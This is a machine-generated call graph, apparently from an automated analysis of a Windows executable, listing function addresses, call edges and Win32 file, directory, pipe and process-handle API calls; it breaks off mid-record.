110608->110606 110608->110607 110610 9d357d 110609->110610 110613 a75132 collate 26 API calls 110610->110613 110612 9d332c 110611->110612 110614 9f80d0 28 API calls 110612->110614 110615 9d3582 110613->110615 110616 9d3342 110614->110616 110617 a75132 collate 26 API calls 110615->110617 110616->110610 110618 9d33a6 GetFileAttributesW 110616->110618 110620 9d339c Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110616->110620 110619 9d3587 110617->110619 110621 9d3400 GetFileAttributesW 110618->110621 110622 9d33c2 CreateDirectoryW 110618->110622 110620->110618 110625 9d340c CreateDirectoryW 110621->110625 110632 9d3441 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110621->110632 110623 9d33dc CreateDirectoryW 110622->110623 110624 9d33d5 CreateDirectoryW 110622->110624 110628 9d33f6 CreateDirectoryW 110623->110628 110629 9d33e3 CreateDirectoryW CreateDirectoryW CreateDirectoryW 110623->110629 110624->110623 110626 9d3419 CreateDirectoryW CreateDirectoryW 110625->110626 110627 9d342a 110625->110627 110630 9d3430 GetFileAttributesW 110626->110630 110627->110630 110628->110632 110629->110632 110631 9d343c CreateDirectoryW 110630->110631 110630->110632 110631->110632 110632->110615 110633 9d3553 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110632->110633 110634 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 110633->110634 110635 9d3574 110634->110635 110635->109552 110637 9f6c20 SimpleUString::operator= 28 API calls 110636->110637 110638 9c930f 110637->110638 110639 9f6c20 SimpleUString::operator= 28 API calls 110638->110639 110640 9c9335 110639->110640 110641 9c9351 110640->110641 110642 9f6c20 SimpleUString::operator= 28 API calls 110640->110642 110643 9f12d0 28 API calls 110641->110643 110642->110641 110644 9c935d 110643->110644 110645 9f12d0 28 API calls 110644->110645 110646 9c9370 110645->110646 112295 9fb790 110646->112295 110648 9f9b40 28 API calls 110649 9c9500 110648->110649 110651 9f80d0 28 API calls 110649->110651 110650 9c9398 SimpleUString::operator= 110652 9cac48 110650->110652 110653 9c93e1 SimpleUString::operator= 110650->110653 110668 9c94e1 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110650->110668 110655 9c951d 110651->110655 112403 9f8080 28 API calls SimpleUString::operator= 110652->112403 110658 9f9b40 28 API calls 110653->110658 110657 9f80d0 28 API calls 110655->110657 110656 9cac4d 110659 a75132 collate 26 API calls 110656->110659 110664 9c9571 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110657->110664 110666 9c9435 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110658->110666 110660 9cac52 110659->110660 110661 a75132 collate 26 API calls 110660->110661 110663 9cac57 110661->110663 110662 9c99fc std::ios_base::_Ios_base_dtor 110665 9f6c20 SimpleUString::operator= 28 API calls 110662->110665 112404 9f8080 28 API calls SimpleUString::operator= 110663->112404 110664->110660 110677 9c964a Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool ListArray 110664->110677 110669 9c9a67 110665->110669 110666->110656 110666->110668 110668->110648 110671 9c9ab1 110669->110671 110673 9f6c20 SimpleUString::operator= 28 API calls 110669->110673 110670 9cac5c 110672 a75132 collate 26 API calls 110670->110672 110674 9f9de0 28 API calls 110671->110674 110675 9cac61 110672->110675 110676 9c9aa2 110673->110676 110678 9c9ac6 110674->110678 110679 a75132 collate 26 API calls 110675->110679 110680 9f6c20 SimpleUString::operator= 28 API calls 110676->110680 110677->110662 110681 9f3b00 132 API calls 110677->110681 110682 9f80d0 28 API calls 110678->110682 110683 9cac66 110679->110683 110680->110671 110702 9c96ce 110681->110702 110684 9c9adb 110682->110684 110685 a75132 collate 26 API calls 110683->110685 110684->110683 110694 9c9b4b Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110684->110694 110686 9cac6b 110685->110686 110687 a75132 collate 26 API calls 110686->110687 110690 9cac70 110687->110690 110688 9c9949 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110689 9c9962 110688->110689 112359 9f7930 110688->112359 112378 9f7a00 110689->112378 110692 9f9de0 28 API calls 110696 9c9b9c 110692->110696 110693 9c9971 110698 a71daa Concurrency::details::_CancellationTokenState::_RegisterCallback 93 API calls 110693->110698 110694->110692 110699 9c9b83 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110694->110699 110701 9f80d0 28 API calls 110696->110701 110697 9c980a 110697->110663 110709 9c991b 110697->110709 110714 9c98a1 110697->110714 110698->110689 110704 9f9de0 28 API calls 110699->110704 110702->110688 110702->110697 112357 9f6950 28 API calls 4 library calls 110702->112357 110703 9c99ca 112395 9f47b0 110703->112395 110708 9c9c88 110704->110708 110709->110675 110709->110688 110716 9f6c20 SimpleUString::operator= 28 API calls 110714->110716 110719 9c98c7 110716->110719 112358 a71d0c 22 API calls __dosmaperr 110719->112358 110723 9c98d8 110723->110670 110725 9c990b Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110723->110725 110725->110709 110948 9d5dc8 110947->110948 110949 9d5e44 110947->110949 110948->110949 110950 9d5dd0 110948->110950 110951 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 110949->110951 110952 9d5e30 110950->110952 110955 9d5ddc 110950->110955 110953 9d5e54 110951->110953 110954 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 110952->110954 110953->109551 110956 9d5e40 110954->110956 110957 9d5e1c 110955->110957 110959 9d5de8 110955->110959 110956->109551 110958 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 110957->110958 110960 9d5e2c 110958->110960 110961 9d5e08 110959->110961 110962 9d5df4 110959->110962 110960->109551 110963 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 110961->110963 110964 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 110962->110964 110965 9d5e18 110963->110965 110966 9d5e04 110964->110966 110965->109551 110966->109551 110968 9f1a9d 110967->110968 110969 9ec93b 110967->110969 110970 9f1800 collate 28 API calls 110968->110970 110971 9c8a80 110969->110971 110970->110969 110972 9c8ad7 110971->110972 110975 9c8aec 110971->110975 112821 a38fd0 64 API calls 110972->112821 110974 9f0f10 28 API calls 110977 9c8b87 110974->110977 110975->110974 110976 9c8c8c 110979 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 110976->110979 110978 9c8c34 110977->110978 112822 9f6950 28 API calls 4 library calls 110977->112822 110978->110976 112823 a71538 71 API calls 110978->112823 110981 9c8ca7 110979->110981 110981->109570 112824 9fdfa0 110983->112824 110985 9ec9be 110985->109580 111641->109445 111813 a753f4 CallCatchBlock 111812->111813 111814 a7540c 111813->111814 111816 a75438 111813->111816 111815 a759b3 std::_Stofx_v2 20 API calls 111814->111815 111817 a75411 111815->111817 111822 a7541c __wsopen_s 111816->111822 111863 a71afd EnterCriticalSection 111816->111863 111879 a75122 26 API calls __wsopen_s 111817->111879 111820 a7544b 111864 a742f5 111820->111864 111822->110413 111823 a7547e 111880 a754af LeaveCriticalSection __fread_nolock 111823->111880 111826 a75457 111826->111823 111872 a74e1a 111826->111872 111828 9f1950 111827->111828 111831 9f1967 SimpleUString::operator= 111828->111831 111883 9fbba0 28 API calls 5 library calls 111828->111883 111830 9f19a2 111830->110413 111831->110413 111833 a74d0b CallCatchBlock 111832->111833 111834 a74d31 111833->111834 111835 a74d19 111833->111835 111884 a7c20b EnterCriticalSection 111834->111884 111837 a759b3 std::_Stofx_v2 20 API calls 111835->111837 111839 a74d1e 111837->111839 111838 a74d3e 111885 a74c8c 111838->111885 111920 a75122 26 API calls __wsopen_s 111839->111920 111843 a74d50 111845 a759b3 std::_Stofx_v2 20 API calls 111843->111845 111844 a74d5d 111891 a71daa 111844->111891 111860 a74d55 111845->111860 111847 a74d63 111849 a759b3 std::_Stofx_v2 20 API calls 111847->111849 111848 a74d29 __wsopen_s 111848->110411 111851 a74d72 111849->111851 111852 a759b3 std::_Stofx_v2 20 API calls 111851->111852 111853 a74d79 111852->111853 111904 a86c52 111853->111904 111856 a74da6 111858 a759b3 std::_Stofx_v2 20 API calls 111856->111858 111857 a759b3 std::_Stofx_v2 20 API calls 111859 a74d98 111857->111859 111858->111860 111859->111856 111861 a74d9d 111859->111861 111921 a74dca LeaveCriticalSection std::_Lockit::~_Lockit 111860->111921 111862 a759b3 std::_Stofx_v2 20 API calls 111861->111862 111862->111860 111863->111820 111865 a7436e 111864->111865 111866 a74308 111864->111866 111865->111826 111867 a836a5 __fread_nolock 26 API calls 111866->111867 111868 a7430e 111867->111868 111868->111865 111869 a759b3 std::_Stofx_v2 20 API calls 111868->111869 111870 a74363 111869->111870 111881 a75122 26 API calls __wsopen_s 111870->111881 111873 a74dde 111872->111873 111874 a759b3 std::_Stofx_v2 20 API calls 111873->111874 111875 a74dff __fread_nolock 111873->111875 111876 a74def 111874->111876 111875->111826 111882 a75122 26 API calls __wsopen_s 111876->111882 111878 a74dfa 111878->111826 111879->111822 111880->111822 111881->111865 111882->111878 111883->111830 111884->111838 111887 a74cab 111885->111887 111886 a74cba 111886->111843 111886->111844 111887->111886 111922 a86866 29 API calls 3 library calls 111887->111922 111889 a74cd5 111890 a84d66 _free 20 API calls 111889->111890 111890->111886 111892 a71db6 CallCatchBlock 111891->111892 111893 a71dc7 111892->111893 111894 a71ddc 111892->111894 111896 a759b3 std::_Stofx_v2 20 API calls 111893->111896 111895 a71dd7 std::_Xfsopen __wsopen_s 111894->111895 111923 a71afd EnterCriticalSection 111894->111923 111895->111847 111898 a71dcc 111896->111898 111940 a75122 26 API calls __wsopen_s 111898->111940 111899 a71df8 111924 a71d34 111899->111924 111902 a71e03 111941 a71e20 LeaveCriticalSection __fread_nolock 111902->111941 111905 a86c65 111904->111905 111906 a86cdc 111905->111906 111907 a86c73 WaitForSingleObject 111905->111907 111908 a759b3 std::_Stofx_v2 20 API calls 111906->111908 111909 a86c9b GetLastError 111907->111909 111910 a86c7f GetExitCodeProcess 111907->111910 111911 a74d8c 111908->111911 111913 a86cbe 111909->111913 111914 a86ca6 111909->111914 111910->111909 111912 a86c8e 111910->111912 111911->111856 111911->111857 111912->111911 111918 a86cd1 CloseHandle 111912->111918 111985 a7597d 20 API calls 2 library calls 111913->111985 111916 a759b3 std::_Stofx_v2 20 API calls 111914->111916 111917 a86cab 111916->111917 111919 a759a0 __dosmaperr 20 API calls 111917->111919 111918->111911 111919->111912 111920->111848 111921->111848 111922->111889 111923->111899 111925 a71d56 111924->111925 111926 a71d41 111924->111926 111932 a71d51 std::_Xfsopen 111925->111932 111942 a71b25 111925->111942 111927 a759b3 std::_Stofx_v2 20 API calls 111926->111927 111928 a71d46 111927->111928 111967 a75122 26 API calls __wsopen_s 111928->111967 111932->111902 111935 a836a5 __fread_nolock 26 API calls 111936 a71d78 111935->111936 111952 a858de 111936->111952 111939 a84d66 _free 20 API calls 111939->111932 111940->111895 111941->111895 111943 a71b3d 111942->111943 111944 a71b39 111942->111944 111943->111944 111945 a836a5 __fread_nolock 26 API calls 111943->111945 111948 a84e40 111944->111948 111946 a71b5d 111945->111946 111947 a8553d __wsopen_s 88 API calls 111946->111947 111947->111944 111949 a71d72 111948->111949 111950 a84e56 111948->111950 111949->111935 111950->111949 111951 a84d66 _free 20 API calls 111950->111951 111951->111949 111953 a858ed 111952->111953 111954 a85902 111952->111954 111956 a759a0 __dosmaperr 20 API calls 111953->111956 111955 a8593d 111954->111955 111960 a85929 111954->111960 111957 a759a0 __dosmaperr 20 API calls 111955->111957 111958 a858f2 111956->111958 111961 a85942 111957->111961 111959 a759b3 std::_Stofx_v2 20 API calls 111958->111959 111964 a71d7e 111959->111964 111968 a858b6 111960->111968 111963 a759b3 std::_Stofx_v2 20 API calls 111961->111963 111965 a8594a 111963->111965 111964->111932 111964->111939 111971 a75122 26 API calls __wsopen_s 111965->111971 111967->111932 111972 a85834 111968->111972 111970 a858da 111970->111964 111971->111964 111973 a85840 CallCatchBlock 111972->111973 111983 a8cba4 EnterCriticalSection 111973->111983 111975 a8584e 111976 a85880 111975->111976 111977 a85875 111975->111977 111979 a759b3 std::_Stofx_v2 20 API calls 111976->111979 111978 a8595d __wsopen_s 29 API calls 111977->111978 111980 a8587b 111978->111980 111979->111980 111984 a858aa LeaveCriticalSection __wsopen_s 111980->111984 111982 a8589d __wsopen_s 111982->111970 111983->111975 111984->111982 111985->111912 111986->110421 111988 9fe227 111987->111988 111989 9fe176 111987->111989 111996 9f8080 28 API calls SimpleUString::operator= 111988->111996 111994 9fe188 SimpleUString::operator= codecvt 111989->111994 111995 9ff7d0 28 API calls 5 library calls 111989->111995 111992 9fe22c 111993 9fe220 111993->110426 111994->110426 111995->111993 111996->111992 111998 9f1c10 _MREFOpen@16 28 API calls 111997->111998 111999 9d1c1b 111998->111999 112000 9c7fe0 28 API calls 111999->112000 112001 9d1c8f 112000->112001 112083 9f1440 112001->112083 112003 9d1cdf 112004 9d1d07 SimpleUString::operator= 112003->112004 112134 9fbba0 28 API calls 5 library calls 112003->112134 112006 9f1940 28 API calls 112004->112006 112007 9d1d64 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool ListArray 112006->112007 112008 9d2762 112007->112008 112095 9d2780 112007->112095 112010 a75132 collate 26 API calls 112008->112010 112012 9d2767 112010->112012 112013 a75132 collate 26 API calls 112012->112013 112015 9d276c 112013->112015 112017 a75132 collate 26 API calls 112015->112017 112016 9d1df0 ListArray 112020 a5089a ListArray 22 API calls 112016->112020 112018 9d2771 112017->112018 112136 9f8080 28 API calls SimpleUString::operator= 112018->112136 112022 9d1e0a 112020->112022 112021 9d2776 112023 a04760 28 API calls 112022->112023 112024 9d1e28 112023->112024 112105 a0b730 112024->112105 112026 9d1e5b ListArray 112027 a5089a ListArray 22 API calls 112026->112027 112028 9d1e76 112027->112028 112029 a04760 28 API calls 112028->112029 112030 9d1e9b 112029->112030 112031 9c76c0 30 API calls 112030->112031 112032 9d1ecd 112031->112032 112033 9f1800 collate 28 API calls 112032->112033 112034 9d1ee0 112033->112034 112035 9c7fe0 28 API calls 112034->112035 112036 9d1ef1 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 112035->112036 112036->112012 112037 9d25c8 112036->112037 112038 9d1fc6 112036->112038 112039 9f1800 collate 28 API calls 112037->112039 112038->112018 112040 9c7fe0 28 API calls 112038->112040 112072 9d2289 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 112039->112072 112041 9d1fee 112040->112041 112042 9f1440 _MREFOpen@16 28 API calls 112041->112042 112043 9d2044 112042->112043 112044 9d206c SimpleUString::operator= 112043->112044 112135 9fbba0 28 API calls 5 library calls 112043->112135 112046 9f1940 28 API calls 112044->112046 112050 9d20c9 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool ListArray 112046->112050 112047 9d275d 112048 a75132 collate 26 API calls 112047->112048 112048->112008 112049 9d253f Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 112051 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 112049->112051 112050->112015 112052 9d2780 30 API calls 112050->112052 112053 9d2562 112051->112053 112054 9d213a 112052->112054 112053->110445 112055 a06b40 30 API calls 112054->112055 112056 9d2155 ListArray 112055->112056 112057 a5089a ListArray 22 API calls 112056->112057 112058 9d216f 112057->112058 112059 a04760 28 API calls 112058->112059 112060 9d218d 112059->112060 112061 a0b730 30 API calls 112060->112061 112062 9d21c0 ListArray 112061->112062 112063 a5089a ListArray 22 API calls 112062->112063 112064 9d21db 112063->112064 112065 a04760 28 API calls 112064->112065 112066 9d2200 112065->112066 112067 9c76c0 30 API calls 112066->112067 112068 9d2232 112067->112068 112069 9c7fe0 28 API calls 112068->112069 112070 9d2247 112069->112070 112071 9f1800 collate 28 API calls 112070->112071 112070->112072 112071->112072 112072->112018 112072->112047 112072->112049 112076 9f6c3e SimpleUString::operator= 112073->112076 112077 9f6c70 112073->112077 112074 9f6d2f 112230 9fdba0 28 API calls SimpleUString::operator= 112074->112230 112076->110469 112077->112074 112218 9f7510 112077->112218 112080 9f6cc3 codecvt 112081 9f6d0e Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 112080->112081 112082 a75132 collate 26 API calls 112080->112082 112081->110469 112082->112074 112085 9f145b 112083->112085 112094 9f154b Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool codecvt 112083->112094 112084 9f15d8 112137 9fdba0 28 API calls SimpleUString::operator= 112084->112137 112085->112084 112088 9f14cc 112085->112088 112089 9f14f6 112085->112089 112091 9f14dd codecvt 112085->112091 112085->112094 112090 a5089a ListArray 22 API calls 112088->112090 112089->112091 112092 a5089a ListArray 22 API calls 112089->112092 112090->112091 112093 a75132 collate 26 API calls 112091->112093 112091->112094 112092->112091 112093->112084 112094->112003 112138 9cca90 112095->112138 112098 a04760 28 API calls 112099 9d27e0 112098->112099 112100 9f6670 30 API calls 112099->112100 112101 9d1dd5 112100->112101 112102 a06b40 112101->112102 112147 9f9900 112102->112147 112104 a06bac 112104->112016 112159 a0bce0 112105->112159 112108 a5089a ListArray 22 API calls 112109 a0b799 112108->112109 112110 a0b7b2 112109->112110 112111 a04760 28 API calls 112109->112111 112112 a0bce0 28 API calls 112110->112112 112111->112110 112113 a0b7ea 112112->112113 112162 a0b540 112113->112162 112115 a0b849 112165 a0b480 112115->112165 112119 a0b88f 112120 a5089a ListArray 22 API calls 112119->112120 112121 a0b8b2 112120->112121 112122 a0b8cb 112121->112122 112123 a04760 28 API calls 112121->112123 112182 a0c430 112122->112182 112123->112122 112125 a0b8ff 112203 a0b600 112125->112203 112127 a0b917 112128 a0b540 22 API calls 112127->112128 112129 a0b933 112128->112129 112130 a0b480 22 API calls 112129->112130 112131 a0b943 112130->112131 112132 a0d680 30 API calls 112131->112132 112133 a0b94b 112132->112133 112133->112026 112134->112004 112135->112044 112136->112021 112139 a04760 28 API calls 112138->112139 112140 9ccac7 112139->112140 112141 a04760 28 API calls 112140->112141 112142 9ccad1 112141->112142 112143 a04760 28 API calls 112142->112143 112144 9ccb35 112143->112144 112145 a04760 28 API calls 112144->112145 112146 9ccb74 112145->112146 112146->112098 112148 9f993f 112147->112148 112149 a5089a ListArray 22 API calls 112148->112149 112150 9f994f ListArray 112149->112150 112152 9f99b8 112150->112152 112157 a27f30 24 API calls 4 library calls 112150->112157 112154 9f99da 112152->112154 112158 9c2140 26 API calls 4 library calls 112152->112158 112155 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 112154->112155 112156 9f9a5b 112155->112156 112156->112104 112157->112152 112158->112154 112160 a04760 28 API calls 112159->112160 112161 a0b77e 112160->112161 112161->112108 112163 a5089a ListArray 22 API calls 112162->112163 112164 a0b56f 112163->112164 112164->112115 112166 a5089a ListArray 22 API calls 112165->112166 112167 a0b4b2 112166->112167 112168 a0d680 112167->112168 112169 a0d6c7 112168->112169 112170 a0d706 112169->112170 112173 a0d6d9 112169->112173 112171 9f1bd0 _MREFOpen@16 28 API calls 112170->112171 112172 a0d713 112171->112172 112211 9c5930 28 API calls _MREFOpen@16 112172->112211 112207 a0e9e0 112173->112207 112176 a0d726 112212 a67e0c RaiseException 112176->112212 112179 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 112181 a0d700 112179->112181 112180 a0d734 112180->112119 112181->112119 112183 a0bce0 28 API calls 112182->112183 112184 a0c46d 112183->112184 112214 a68eeb RaiseException 6 library calls 112184->112214 112186 a0c4ca 112187 a0c577 112186->112187 112192 a0c4db 112186->112192 112188 9f1bd0 _MREFOpen@16 28 API calls 112187->112188 112189 a0c584 112188->112189 112215 9c5930 28 API calls _MREFOpen@16 112189->112215 112191 a0c594 112216 a67e0c RaiseException 112191->112216 112195 a0b600 22 API calls 112192->112195 112194 a0c5a2 112217 a03100 26 API calls 2 library calls 112194->112217 112197 a0c538 112195->112197 112199 a0d680 30 API calls 112197->112199 112198 a0c5df Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 112198->112125 112200 a0c547 112199->112200 112201 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 112200->112201 112202 a0c571 112201->112202 112202->112125 112204 a0b630 112203->112204 112205 a5089a ListArray 22 API calls 112204->112205 112206 a0b640 112205->112206 112206->112127 112208 a0e9fc 112207->112208 112210 a0d6e4 112207->112210 112208->112210 112213 a27f30 24 API calls 4 library calls 112208->112213 112210->112179 112211->112176 112212->112180 112213->112210 112214->112186 112215->112191 112216->112194 112217->112198 112219 9f7525 112218->112219 112220 9f7520 112218->112220 112219->112220 112221 9f7554 112219->112221 112222 a5089a ListArray 22 API calls 112220->112222 112223 9f7565 112221->112223 112225 a5089a ListArray 22 API calls 112221->112225 112224 9f753e 112222->112224 112223->112080 112226 9f7547 112224->112226 112228 a75132 collate 26 API calls 112224->112228 112227 9f755e 112225->112227 112226->112080 112227->112080 112229 9f7570 112228->112229 112232 a4cbb1 GetFileAttributesW 112231->112232 112233 a4cbaf 112231->112233 112234 a4cbd4 112232->112234 112235 a4cbc2 112232->112235 112233->112232 112256 a4c940 52 API calls Concurrency::details::ReferenceLoadLibrary 112234->112256 112255 a4ca40 52 API calls 4 library calls 112235->112255 112238 a4ccb5 112239 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 112238->112239 112240 9c4a32 112239->112240 112240->109476 112241 a4cbdb 112241->112238 112241->112241 112242 a4cc1d 112241->112242 112243 9f6c20 SimpleUString::operator= 28 API calls 112242->112243 112244 a4cc2b CreateFileW 112243->112244 112245 9c49c0 48 API calls 112244->112245 112246 a4cc64 112245->112246 112247 a4cc78 112246->112247 112248 a4cc69 112246->112248 112258 a4c860 CreateFileW DeviceIoControl CloseHandle ListArray 112247->112258 112257 a4ca40 52 API calls 4 library calls 112248->112257 112251 a4cbcc 112251->112238 112252 a4cc7e 112253 a4cc85 CloseHandle 112252->112253 112254 a4cca1 CloseHandle 112252->112254 112253->112238 112254->112238 112255->112251 112256->112241 112257->112251 112258->112252 112261 9f0f2c 112259->112261 112267 9f0fe6 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool codecvt 112259->112267 112260 9f1085 112279 9fdba0 28 API calls SimpleUString::operator= 112260->112279 112261->112260 112264 9f7510 SimpleUString::operator= 28 API calls 112261->112264 112265 9f0f9b codecvt 112261->112265 112261->112267 112264->112265 112266 a75132 collate 26 API calls 112265->112266 112265->112267 112266->112260 112267->110539 112269 9f8130 112268->112269 112272 9f80f8 SimpleUString::operator= 112268->112272 112270 9f8253 112269->112270 112273 9f813f 112269->112273 112280 9fdba0 28 API calls SimpleUString::operator= 112270->112280 112272->110541 112275 9f7510 SimpleUString::operator= 28 API calls 112273->112275 112274 a75132 collate 26 API calls 112276 9f825d 112274->112276 112277 9f818d codecvt 112275->112277 112277->112274 112278 9f8206 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool codecvt 112277->112278 112278->110541 112282 9fbb90 112281->112282 112284 9fba85 112281->112284 112293 9fdba0 28 API calls SimpleUString::operator= 112282->112293 112286 9fbacc 112284->112286 112287 9fbaf6 112284->112287 112285 a75132 collate 26 API calls 112288 9fbb9a 112285->112288 112289 a5089a ListArray 22 API calls 112286->112289 112290 a5089a ListArray 22 API calls 112287->112290 112291 9fbadd codecvt 112287->112291 112289->112291 112290->112291 112291->112285 112292 9fbb52 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool codecvt 112291->112292 112292->110555 112294->110564 112296 9fb7bf ListArray 112295->112296 112297 9fb8b8 112295->112297 112296->112297 112300 9fb807 112296->112300 112304 9fb834 112296->112304 112298 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 112297->112298 112299 9fb8cc 112298->112299 112299->110650 112300->112297 112301 9fb89d 112300->112301 112302 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 112301->112302 112303 9fb8b4 112302->112303 112303->110650 112305 9fb883 112304->112305 112306 9fb868 112304->112306 112307 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 112305->112307 112309 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 112306->112309 112308 9fb899 112307->112308 112308->110650 112310 9fb87f 112309->112310 112310->110650 112357->110702 112358->110723 112360 9f794d 112359->112360 112361 9f79ea 112359->112361 112360->112361 112367 9f7957 112360->112367 112362 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 112361->112362 112363 9f79f7 112362->112363 112363->110693 112364 9f79d8 112365 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 112364->112365 112366 9f79e6 112365->112366 112366->110693 112367->112364 112368 9f79a0 112367->112368 112369 9f7986 112367->112369 112371 9f79c1 112368->112371 112373 a758e2 90 API calls 112368->112373 112369->112364 112370 9f798b 112369->112370 112372 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 112370->112372 112374 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 112371->112374 112375 9f799c 112372->112375 112376 9f79ba 112373->112376 112377 9f79d4 112374->112377 112375->110693 112376->112364 112376->112371 112377->110693 112379 9f7aa7 112378->112379 112380 9f7a80 112378->112380 112382 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 112379->112382 112816 a71ab7 26 API calls 2 library calls 112380->112816 112383 9c999c 112382->112383 112383->110703 112384 9c3740 112383->112384 112385 9c375a 112384->112385 112386 9c3762 112384->112386 112388 9c3772 112385->112388 112817 a67e0c RaiseException 112385->112817 112386->110703 112818 9c2550 66 API calls 3 library calls 112388->112818 112390 9c379a 112397 9f47e2 112395->112397 112396 9f481b 112397->112396 112398 9f7930 90 API calls 112397->112398 112400 9f4829 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 112397->112400 112400->110662 112403->110656 112404->110670 112816->112379 112817->112388 112818->112390 112821->110975 112822->110977 112823->110978 112825 9fe05a 112824->112825 112832 9fdfc9 SimpleUString::operator= codecvt 112824->112832 112826 9fe150 112825->112826 112827 9fe06b 112825->112827 112835 9fdba0 28 API calls SimpleUString::operator= 112826->112835 112830 9f7510 SimpleUString::operator= 28 API calls 112827->112830 112829 a75132 collate 26 API calls 112831 9fe15a 112829->112831 112833 9fe0ac codecvt 112830->112833 112832->110985 112833->112829 112834 9fe112 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool codecvt 112833->112834 112834->110985 113346 a7470a 113347 a74716 CallCatchBlock 113346->113347 113348 a74722 113347->113348 113350 a74745 113347->113350 113349 a759b3 std::_Stofx_v2 20 API calls 113348->113349 113351 a74727 113349->113351 113369 a74a75 113350->113369 113476 a75122 26 API calls __wsopen_s 113351->113476 113355 a74732 __wsopen_s 113357 a7478f 113357->113355 113438 a7c20b EnterCriticalSection 113357->113438 113359 a747be 113360 a759b3 std::_Stofx_v2 20 API calls 113359->113360 113361 a747c8 113360->113361 113439 a74832 GetCurrentProcess DuplicateHandle 113361->113439 113364 a759b3 std::_Stofx_v2 20 API calls 113367 a747e8 113364->113367 113365 a74812 113477 a74829 LeaveCriticalSection std::_Lockit::~_Lockit 113365->113477 113367->113365 113368 a858de Concurrency::details::_CancellationTokenState::_RegisterCallback 31 API calls 113367->113368 113368->113367 113371 a74a8b 113369->113371 113370 a759b3 std::_Stofx_v2 20 API calls 113372 a74aa0 113370->113372 113371->113370 113373 a74751 113371->113373 113478 a75122 26 API calls __wsopen_s 113372->113478 113373->113355 113375 a86eb7 113373->113375 113376 a86ec3 CallCatchBlock 113375->113376 113377 a86ed1 113376->113377 113378 a86ef2 113376->113378 113380 a759a0 __dosmaperr 20 API calls 113377->113380 113379 a86f0d 113378->113379 113383 a86f3d CreatePipe 113378->113383 113381 a759a0 __dosmaperr 20 API calls 113379->113381 113382 a86ed6 113380->113382 113384 a86f12 113381->113384 113385 a759b3 std::_Stofx_v2 20 API calls 113382->113385 113386 a86f7e 113383->113386 113387 a86f6f GetLastError 113383->113387 113389 a759b3 std::_Stofx_v2 20 API calls 113384->113389 113390 a86ede 113385->113390 113388 a8cc7e __wsopen_s 24 API calls 113386->113388 113481 a7597d 20 API calls 2 library calls 113387->113481 113392 a86f83 113388->113392 113393 a86f1a 113389->113393 113479 a75122 26 API calls __wsopen_s 113390->113479 113406 a86f8c 113392->113406 113482 a87023 LeaveCriticalSection __wsopen_s 113392->113482 113480 a75122 26 API calls __wsopen_s 113393->113480 113395 a86ee9 __wsopen_s 113395->113357 113397 a759b3 std::_Stofx_v2 20 API calls 113399 a86f91 113397->113399 113401 a759a0 __dosmaperr 20 API calls 113399->113401 113400 a86ff4 113402 a8cc7e __wsopen_s 24 API calls 113400->113402 113403 a86f9c CloseHandle CloseHandle 113401->113403 113404 a86ff9 113402->113404 113403->113395 113405 a8702b 113404->113405 113404->113406 113483 a87133 LeaveCriticalSection __wsopen_s 113405->113483 113406->113397 113408 a87071 113484 a8046e 26 API calls 2 library calls 113408->113484 113410 a8707d 113411 a8713b 113410->113411 113413 a87086 113410->113413 113485 a7514f 11 API calls _abort 113411->113485 113414 a8cbc7 __wsopen_s 21 API calls 113413->113414 113416 a87110 113414->113416 113415 a87145 CallCatchBlock 113417 a8716e 113415->113417 113418 a8715e 113415->113418 113419 a8cbc7 __wsopen_s 21 API calls 113416->113419 113421 a87186 113417->113421 113422 a87176 113417->113422 113420 a759b3 std::_Stofx_v2 20 API calls 113418->113420 113419->113395 113423 a87163 113420->113423 113425 a87226 113421->113425 113428 a871b8 113421->113428 113424 a759b3 std::_Stofx_v2 20 API calls 113422->113424 113488 a75122 26 API calls __wsopen_s 113423->113488 113430 a8717b __wsopen_s 113424->113430 113426 a759b3 std::_Stofx_v2 20 API calls 113425->113426 113426->113423 113486 a84680 71 API calls 2 library calls 113428->113486 113430->113357 113431 a871c4 113431->113430 113432 a84523 std::_Xfsopen 23 API calls 113431->113432 113433 a871dd 113432->113433 113434 a871f2 113433->113434 113435 